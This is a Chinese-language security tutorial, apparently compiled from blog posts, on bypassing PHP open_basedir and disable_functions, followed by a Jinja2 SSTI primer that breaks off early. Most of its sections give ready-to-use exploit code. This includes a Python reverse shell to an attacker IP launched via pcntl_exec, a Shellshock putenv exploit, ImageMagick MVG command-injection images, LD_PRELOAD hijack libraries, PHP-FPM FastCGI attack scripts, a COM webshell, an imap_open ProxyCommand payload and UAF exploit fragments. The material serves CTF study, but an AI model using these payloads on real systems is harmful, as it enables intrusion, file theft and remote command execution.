首先是创建一个link,将tmplink用相对路径指向abc/abc/abc/abc,然后再创建一个link,将exploit指向tmplink/../../../../etc/passwd,此时就相当于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相当于exploit指向了./etc/passwd,此时删除tmplink文件后再创建tmplink目录,此时就变为/etc/passwd成功跨目录。
访问exploit即可读取到/etc/passwd。
glob
查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议
常用bypass方式如下:
<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
但会发现比较神奇的是只能列举根目录下的文件。
chdir()与ini_set()
chdir是更改当前工作路径。
mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/passwd');
利用了ini_set的open_basedir的设计缺陷,可以用如下代码观察一下其bypass过程:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); printf('<b>open_basedir : %s </b><br
bindtextdomain
该函数的第二个参数为一个文件路径,先看代码:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', '/etc/passwd'); var_dump($re); $re = bindtextdomain('xxx', '/etc/passw'); var_dump($re); //open_basedir: /var/www/html:/tmp //string(11) "/etc/passwd
可以看到当文件不存在时返回值为false,因为不支持通配符,该方法只能适用于linux下的暴力猜解文件。
Realpath
同样是基于报错,但realpath在windows下可以使用通配符<和>进行列举,脚本摘自p神博客:
<?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><
other
如命令执行事实上是不受open_basedir的影响的。
bypass disable function
蚁剑项目仓库中有一个各种disable的测试环境可以复现,需要环境的师傅可以选用蚁剑的环境。
https://github.com/AntSwordProject/AntSword-Labs黑名单突破
这个应该是最简单的方式,就是寻找替代函数来执行,如system可以采用如反引号来替代执行命令。
看几种常见用于执行系统命令的函数:
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``
当然了这些也常常出现在disable function中,那么可以寻找可以比较容易被忽略的函数,通过函数 or 函数组合拳来执行命令。
反引号:最容易被忽略的点,执行命令但回显需要配合其他函数,可以反弹shell
pcntl_exec:目标机器若存在python,可用php执行python反弹shell
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
ShellShock
原理
本质是利用bash破壳漏洞(CVE-2014-6271)。
影响范围在于bash 1.14 – 4.3
关键在于:
目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。
本地验证方法:
在shell中执行下面命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"
执行命令后,如果显示Vulnerable CVE-2014-6271,证系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。
详见:https://www.antiy.com/response/CVE-2014-6271.html
因为是设置环境变量,而在php中存在着putenv可以设置环境变量,配合开启子进程来让其执行命令。
利用
https://www.exploit-db.com/exploits/35146<?php function shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); error_log('a',1); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo sh
将exp上传后即可执行系统命令bypass disable,就不做过多赘述。
ImageMagick
原理
漏洞源于CVE-2016-3714,ImageMagick是一款图片处理程序,但当用户传入一张恶意图片时,会造成命令注入,其中还有其他如ssrf、文件读取等,当然最致命的肯定是命令注入。
而在漏洞出来之后各位师傅联想到php扩展中也使用了ImageMagick,当然也就存在着漏洞的可能,并且因为漏洞的原理是直接执行系统命令,所以也就不存在是否被disable的可能,因此可以被用于bypass disable。
关于更加详细的漏洞分析请看p神的文章:https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html,我直接摘取原文中比较具有概括性的漏洞说明:
漏洞报告中给出的POC是利用了如下的这个委托:
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。
所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:
push graphic-context viewbox 0 0 640 480 fill 'url(https://"|id; ")' pop graphic-context
这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。
漏洞的利用极其简单,只需要构造一张恶意的图片,new一个类即可触发该漏洞:
<?php new Imagick('test.mvg');
利用
那么依旧以靶场题为例,依旧以拥有一句话马儿为前提,我们首先上传一个图片,如上面所述的我们图片的后缀无需mvg,因此上传一个jpg图片:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`' pop graphic-context
那么因为我们看不到回显,所以可以考虑将结果写入到文件中,或者直接执行反弹shell。
然后如上上传一个poc.php:
<?php new Imagick('vul.jpg');
访问即可看到我们写入的文件。
那么这一流程颇为繁琐(当我们需要多次执行命令进行测试时就需要多次调整图片内容),因此我们可以写一个php马来动态传入命令:
<?php $command = $_GET['cmd']; if ($command == '') { $command = 'whoami>success'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`' pop graphic-context EOF; file_put_contents("test.mvg", $exploit); $thumb = new Imagick(); $thumb->r
LD_PRELOAD
喜闻乐见的LD_PRELOAD,这是我学习web时遇到的第一个bypass disable的方式,个人觉得很有意思。
原理
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
而我们bypass的关键就是利用LD_PRELOAD加载库优先的特点来让我们自己编写的动态链接库优先于正常的函数库,以此达成执行system命令。
因为id命令比较易于观察,网上文章也大同小异采用了id命令下的getuid/getgid来做测试,为做个试验笔者换成了
我们先看看id命令的调用函数:
strace -f /usr/bin/id
Resulut:
close(3) = 0 geteuid32() = 0 getuid32() = 0 getegid32() = 0 getgid32() = 0 (省略....) getgroups32(0, NULL) = 1 getgroups32(1, [0]) = 1
这里可以看到有不少函数可以编写,我选择getgroups32,我们可以用man命令查看一下函数的定义:
man getgroups32
看到这一部分:
得到了函数的定义,我们只需要编写其内的getgroups即可,因此我编写一个hack.c:
#include <stdlib.h> #include <sys/types.h> #include <unistd.h> int getgroups(int size, gid_t list[]){ unsetenv("LD_PRELOAD"); system("echo 'i hack it'"); return 1; }
然后使用gcc编译成一个动态链接库:
gcc -shared -fPIC hack.c -o hack.so
使用LD_PRELOAD加载并执行id命令,我们会得到如下的结果:
再来更改一下uid测试,我们先adduser一个新用户hhhm,执行id命令结果如下:
然后根据上面的步骤取得getuid32的函数定义,据此来编写一个hack.c:
#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; }
gcc编译后,执行,结果如下:
可以看到我们的uid成功变为1,且更改为root了,当然了因为我们的hack.so是root权限编译出来的,在一定条件下也许可以用此种方式来提权,网上也有相关文章,不过我没实际尝试过就不做过分肯定的说法。
下面看看在php中如何配合利用达成bypass disable。
php中的利用
php中主要是需要配合putenv函数,如果该函数被ban了那么也就没他什么事了,所以bypass前需要观察disable是否ban掉putenv。
php中的利用根据大师傅们的文章我主要提取出下面几种利用方式,其实质都是大同小异,需要找出一个函数然后采用相同的机制覆盖掉其函数进而执行系统命令。
那么我们受限于disable,system等执行系统命令的函数无法使用,而若想要让php调用外部程序来进一步达成执行系统命令从而达成bypass就只能依赖与php解释器本身。
因此有一个大前提就是需要从php解释器中启动子进程。
老套路之mail
先选取一台具有sendmail的机器,笔者是使用kali,先在php中写入如下代码
<?php mail("","","","");
同样的可以使用strace来追踪函数的执行过程。
strace -f php phpinfo.php 2>&1 | grep execve
可以看到这里调用了sendmail,与网上的文章同样的我们可以追踪sendmail来查看其调用过程,或者使用readelf可以查看其使用函数:
strace sendmail
那么以上面的方式编写并编译一个动态链接库然后利用LD_PRELOAD去执行我们的命令,这就是老套路的利用。
因为没有回显,为方便查看效果我写了一个ls>test,因此hack.c如下:
#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { system("ls>test"); return 0; } uid_t getuid( void ) { return 1; } uid_t getgid( void ) { return 0; }
同样的gcc编译后,页面写入如下:
<?php putenv("LD_PRELOAD=./hack.so"); mail("","","",""); ?>
访问页面得到运行效果如下:
再提一个我在利用过程中走错的点,这里为测试,我换用一台没有sendmail的ubuntu:
但如果我们按照上面的步骤直接追踪index的执行而不过滤选取execve会发现同样存在着geteuid,并且但这事实上是sh调用的而非mail调用的,因此如果我们使用php index.php来调用会发现system执行成功,但如果我们通过页面来访问则会发现执行失败,这是一个在利用过程中需要注意的点,这也就是为什么我们会使用管道符来选取execve。
第一个execve为php解释器启动的进程,而后者即为我们所需要的sendmail子进程。
error_log
同样的除了mail会调用sendmail之外,还有error_log也会调用,如图:
ps:当error_log的type为1时就会调用到sendmail。
因此上面针对于mail函数的套路对于error_log同样适用,however,我们会发现此类劫持都只是针对某一个函数,而前面所做的都是依赖与sendmail,而像目标机器如果不存在sendmail,那么前面的做法就完全无用。
yangyangwithgnu师傅在其文https://www.freebuf.com/articles/web/192052.html提到了我们不要局限于仅劫持某一函数,而应考虑劫持共享对象。
劫持共享对象
文中使用到了如下代码编写的库:
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void anything (void){ unsetenv("LD_PRELOAD"); system("ls>test"); }
那么关于__attribute__ ((__constructor__))个人理解是其会在共享库加载时运行,也就是程序启动时运行,那么这一步的利用同样需要有前面说到的启动子进程这一个大前提,也就是需要有类似于mail、Imagick可以令php解释器启动新进程的函数。
同样的将LD_PRELOAD指定为gcc编译的共享库,然后访问页面查看,会发现成功将ls写到test下(如果失败请检查写权限问题)
0ctf 2019中Wallbreaker Easy中的出题点就是采用了imagick在处理一些特定后缀文件时,会调用ffmpeg,也就是会开启子进程,从而达成加载共享库执行系统命令bypass disable。
Apache Mod CGI
前面的两种利用都需要putenv,如果putenv被ban了那么就需要这种方式,简单介绍一下原理。
原理
利用htaccess覆盖apache配置,增加cgi程序达成执行系统命令,事实上同上传htaccess解析png文件为php程序的利用方式大同小异。
mod cgi:
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
因此我们只需上传一个.htaccess:
Options +ExecCGI //使运行cgi程序的执行 AddHandler cgi-script .test //将test后缀的文件解析为cgi程序
利用
利用就很简单了:
上传htaccess,内容为上文所给出的内容
上传a.test,内容为:
#!/bin/bash echo&&ls
给a.test权限,访问即可得到执行结果。
PHP-FPM
php-fpm相信有读者在配置php环境时会遇到,如使用nginx+php时会在配置文件中配置如下:
location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; }
那么看看百度百科中关于php-fpm的介绍:
PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包 [1] ,旨在将FastCGI进程管理整合进PHP包中。如果你使用的是PHP5.3.3之前的PHP的话,就必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。
那么fastcgi又是什么?Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换。
原理
那么我们在配置了php-fpm后如访问http://127.0.0.1/test.php?test=1,那么会被解析为如下键值对:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/test.php', 'SCRIPT_NAME': '/test.php', 'QUERY_STRING': '?test=1', 'REQUEST_URI': '/test.php?test=1', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'RE
这个数组很眼熟,会发现其实就是$_SERVER里面的一部分,那么php-fpm拿到这一个数组后会去找到SCRIPT_FILENAME的值,对于这里的/var/www/html/test.php,然后去执行它。
前面笔者留了一个配置,在配置中可以看到fastcgi的端口是9000,监听地址是127.0.0.1,那么如果地址为0.0.0.0,也即是将其暴露到公网中,倘若我们伪造与fastcgi通信,这样就会导致远程代码执行。
那么事实上php-fpm通信方式有tcp也就是9000端口的那个,以及socket的通信,因此也存在着两种攻击方式。
socket方式的话配置文件会有如下:
fastcgi_pass unix:/var/run/phpfpm.sock;
那么我们可以稍微了解一下fastcgi的协议组成,其由多个record组成,这里摘抄一下p神https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html中的一段结构体:
typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserve
可以看到record分为header以及body,其中header固定为8字节,而body由其contentLength决定,而paddingData为保留段,不需要时长度置为0。
而type的值从1-7有各种作用,当其type=4时,后端就会将其body解析成key-value,看到key-value可能会很眼熟,没错,就是我们前面看到的那一个键值对数组,也就是环境变量。
那么在学习漏洞利用之前,我们有必要了解两个环境变量,
PHP_VALUE:可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项
PHP_ADMIN_VALUE:可以设置所有选项(除了disable_function)
那么以p神文中的利用方式我们需要满足三个条件:
找到一个已知的php文件
利用上述两个环境变量将auto_prepend_file设置为php://input
开启php://input需要满足的条件:allow_url_include为on
此时熟悉文件包含漏洞的童鞋就一目了然了,我们可以执行任意代码了。
这里利用的情况为:
'PHP_VALUE': 'auto_prepend_file = php://input' 'PHP_ADMIN_VALUE': 'allow_url_include = On'
利用
我们先直接看phpinfo如何标识我们可否利用该漏洞进行攻击。
那么先以攻击tcp为例,倘若我们伪造nginx发送数据(fastcgi封装的数据)给php-fpm,这样就会造成任意代码执行漏洞。
p神已经写好了一个https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75,因为开放fastcgi为0.0.0.0的情况事实上同攻击内网相似,所以这里可以尝试一下攻击127.0.0.1也就是攻击内网的情况,那么事实上我们可以配合gopher协议来攻击内网的fpm,因为与本文主题不符就不多讲。
python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'
可以看到结果如图所示:
攻击成功后我们去查看一下phpinfo会看到如下:
也就是说我们构造的攻击包为:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/phpinfo.php', 'SCRIPT_NAME': '/phpinfo.php', 'QUERY_STRING': '', 'REQUEST_URI': '/phpinfo.php', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_
很明显的前面所说的都是成立的;然而事实上我这里是没有加入disable的情况,我们往里面加入disable再尝试。
pkill php-fpm /usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini
注意修改了ini文件后重启fpm需要指定ini。
我往disable里压了一个system:
pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,p
然后再执行一下exp,可以发现被disable了:
因此此种方法还无法达成bypass disable的作用,那么不要忘了我们的两个php_value能够修改的可不仅仅只是auto_prepend_file,并且的我们还可以修改basedir来绕过;在先前的绕过姿势中我们是利用到了so文件执行扩展库来bypass,那么这里同样可以修改extension为我们编写的so库来执行系统命令,具体利用有师傅已经写了利用脚本,事实上蚁剑中的插件已经能实现了该bypass的功能了,那么下面我直接对蚁剑中插件如何实现bypass做一个简要分析。
在执行蚁剑的插件时会发现其在当前目录生成了一个.antproxy.php文件,那么我们后续的bypass都是通过该文件来执行,那么先看一下这个shell的代码:
<?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $
定位到关键代码:
$headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout);
可以看到它这里向60882端口进行通信,事实上这里蚁剑使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html开启了一个新的php服务,并且不使用php.ini,因此也就不存在disable了,那么我们在观察其执行过程会发现其还在tmp目录下上传了一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:
那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。
加载so扩展
前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。
so文件可以从https://github.com/AntSwordProject/ant_php_extension中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入:
extension=/var/www/html/ant.so
然后重启php-fpm,如果使用如下:
<?php antsystem("ls");
成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。
以脚本来攻击:
import requests sess = requests.session() def execute_php_code(s): res = sess.post('http://192.168.242.5/index.php', data={"a": s}) return res.text code = ''' class AA { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; c
通过修改其内的code即可,效果如下:
漏洞利用成功。
com组件
原理&利用
需要目标机器满足下列三个条件:
com.allow_dcom = true
extension=php_com_dotnet.dll
php>5.4
此时com组件开启,我们能够在phpinfo中看到:
要知道原理还是直接从exp看起:
<?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
首先,以new COM('WScript.shell')来生成一个com对象,里面的参数也可以为Shell.Application(笔者的win10下测试失败)。
然后这个com对象中存在着exec可以用来执行命令,而后续的方法则是将命令输出,该方式的利用还是较为简单的,就不多讲了。
imap_open
该bypass方式为CVE-2018-19518
原理
imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式:
$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);
那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过-oProxyCommand=来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。
那么我们可以先在ubuntu上试验一下:
ssh -oProxyCommand="ls>test" 192.168.2.1
利用
环境的话vulhub上有,其中给出了poc:
POST / HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 125 hostname=x+-oProxyCommand%3decho%
我们可以发现其中使用了%09来绕过空格,以base64的形式来执行我们的命令,那么我这里再验证一下:
hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222 //ls>test
会发现成功写入了一个test,漏洞利用成功,那么接下来就是各种肆意妄为了。
三种UAF
EXP在:https://github.com/mm0r1/exploits
三种uaf分别是:
Json Serializer UAF
GC UAF
Backtrace UAF
关于uaf的利用因为涉及到二进制相关的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述//其实我就是照搬了exp里面的说明,读者可以看exp作者的说明就行了。
Json Serializer UAF
漏洞出现的版本在于:
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
漏洞利用json在序列化中的堆溢出触发bypass,漏洞为https://bugs.php.net/bug.php?id=77843
GC UAF
漏洞出现的版本在于:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass,漏洞为:https://bugs.php.net/bug.php?id=72530
Backtrace UAF
漏洞出现的版本在于:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)
漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为https://bugs.php.net/bug.php?id=76047
利用
利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。
SplDoublyLinkedList UAF
概述
这个UAF是在先知上看到的,引用https://xz.aliyun.com/t/8355来概述:
可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。
所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。
PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试)
exp
exp同样出自原文。
php部分:
<?php error_reporting(0); $a = str_repeat("T", 120 * 1024 * 1024); function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j++) { $a[$p + $j] = chr($i & 0xff); $i >>= 8; } } function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x++) { $result <<= 8; $result |= ord($s[$x]); } return $result; }
python部分:
# -*- coding:utf8 -*- import requests import base64 import time import urllib from libnum import n2s def bomb1(_url): content = None count = 1 addr = 0x7f0000000000 # change here and bomb1() in php if failed while True: try: addr = addr + 0x10000000 / 2 if count % 100 == 0: print "[+]Bomb " + str(co
ffi扩展
ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是因为非预期解拿到flag发现了ffi三个字母才了解到php7.4中多了ffi这种东西。
原理
PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。
也即是说我们可以通过ffi来调用c语言的函数从而绕过disable的限制,我们可以简单使用一个示例来体会一下:
$ffi = FFI::cdef("int system(const char *command);"); $ffi->system("whoami >/tmp/1"); echo file_get_contents("/tmp/1"); @unlink("/tmp/1");
输出如下:
那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。
首先是cdef:
$ffi = FFI::cdef("int system(const char *command);");
这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:
$ffi = FFI::cdef("int system(const char *command);","libc.so.6");
可以看看其函数原型:
FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI
取得了ffi对象后我们就可以直接调用函数了:
$ffi->system("whoami >/tmp/1");
之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。
利用
以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:
<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
可以发现根目录存在着flag.h跟so:
因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。
发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。
于是有了如下:
$ffi = FFI::load("/flag.h");
但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:
我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:
import requests url = "http://pwnable.org:19261" params = {"rh": ''' try { $ffi=FFI::load("/flag.h"); //get flag //$a = $ffi->flag_wAt3_uP_apA3H1(); //for($i = 0; $i < 128; $i++){ echo $a[$i]; //} $a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5
获取到函数名后直接调用函数然后把结果打印出来即可:
$a = $ffi->flag_wAt3_uP_apA3H1(); for($i=0;$i<100;$i++){ echo $a[$i]; }
相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014092310094200001(通过本实验学会通过宽字节方式绕过mysql_real_escape_string()、addslashes()这两个函数。)
细说Jinja2之SSTI&bypass
前言
SSTI(Server-Side Template Injection)服务端模板注入在CTF中并不是一个新颖的考点了,之前略微学习过,但是最近的大小比赛比如说安洵杯,祥云杯,太湖杯,南邮CTF,上海大学生安全竞赛等等比赛都频频出现,而且赛后看到师傅们各种眼花缭乱的payload,无法知晓其中的原理,促使我写了这篇文章来总结各种bypass SSTI的方法。
基础知识
本篇文章从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎
模板的基本语法
官方文档对于模板的语法介绍如下
{% ... %} for Statements {{ ... }} for Expressions to print to the template output {# ... #} for Comments not included in the template output # ... ## for Line Statements
这里我们逐条来看
{%%}
主要用来声明变量,也可以用于条件语句和循环语句。
{% set c= 'kawhi' %} {% if 81==9*9 %}kawhi{% endif %} {% for i in ['1','2','3'] %}kawhi{%endfor%}
{{}}
用于将表达式打印到模板输出,比如我们一般在里面输入2-1,2*2,或者是字符串,调用对象的方法,都会渲染出结果
{{2-1}} #输出1 {{2*2}} #输出4
我们通常会用{{2*2}}简单测试页面是否存在SSTI
{##}
表示未包含在模板输出中的注释
##
有和{%%}相同的效果
这里的模板注入主要用到的是{{}}和{%%}
常见的魔术方法
__class__
用于返回对象所属的类
Python 3.7.8 >>> ''.__class__ <class 'str'> >>> ().__class__ <class 'tuple'> >>> [].__class__ <class 'list'>
__base__
以字符串的形式返回一个类所继承的类
__bases__
以元组的形式返回一个类所继承的类
__mro__
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
Python 3.7.8 >>> class Father(): ... def __init__(self): ... pass ... >>> class GrandFather(): ... def __init__(self): ... pass ... >>> class son(Father,GrandFather): ... pass ... >>> print(son.__base__) <class '__main__.Father'> >>> print(son.__bases__) (<class '__main__.Father'>, <class '__main__.
__subclasses__()
获取类的所有子类
__init__
所有自带带类都包含init方法,常用他当跳板来调用globals
__globals__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用
漏洞成因与防御
存在模板注入漏洞原因有二,一是存在用户输入变量可控,二是了使用不固定的模板,这里简单给出一个存在SSTI的代码如下
ssti.py
from flask import Flask,request,render_template_string app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): name = request.args.get('name') template = ''' <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, %s !</h3> </body> </html> '''% (name) return render_template_s
我们简单输入一个{{2-1}},返回了1,说明存在模板注入
而如果存在SSTI的话,我们就可以利用上面的魔术方法去构造可以读文件或者直接getshell的漏洞
如何拒绝这种漏洞呢,其实很简单只需要使用固定的模板即可,正确的代码应该如下
ssti2.py
from flask import Flask,request,render_template app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): return render_template("index.html",name=request.args.get('name')) if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=True)
index.html
<html> <head> <title>SSTI</title> </head> <body> <h3>Hello, {{name}} !</h3> </body> </html>
可以看到原封不动的输出了{{2-1}}
构造链思路
这里从零开始介绍如何去构造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py做实验
第一步
目的:使用__class__来获取内置类所对应的类
可以通过使用str,list,tuple,dict等来获取
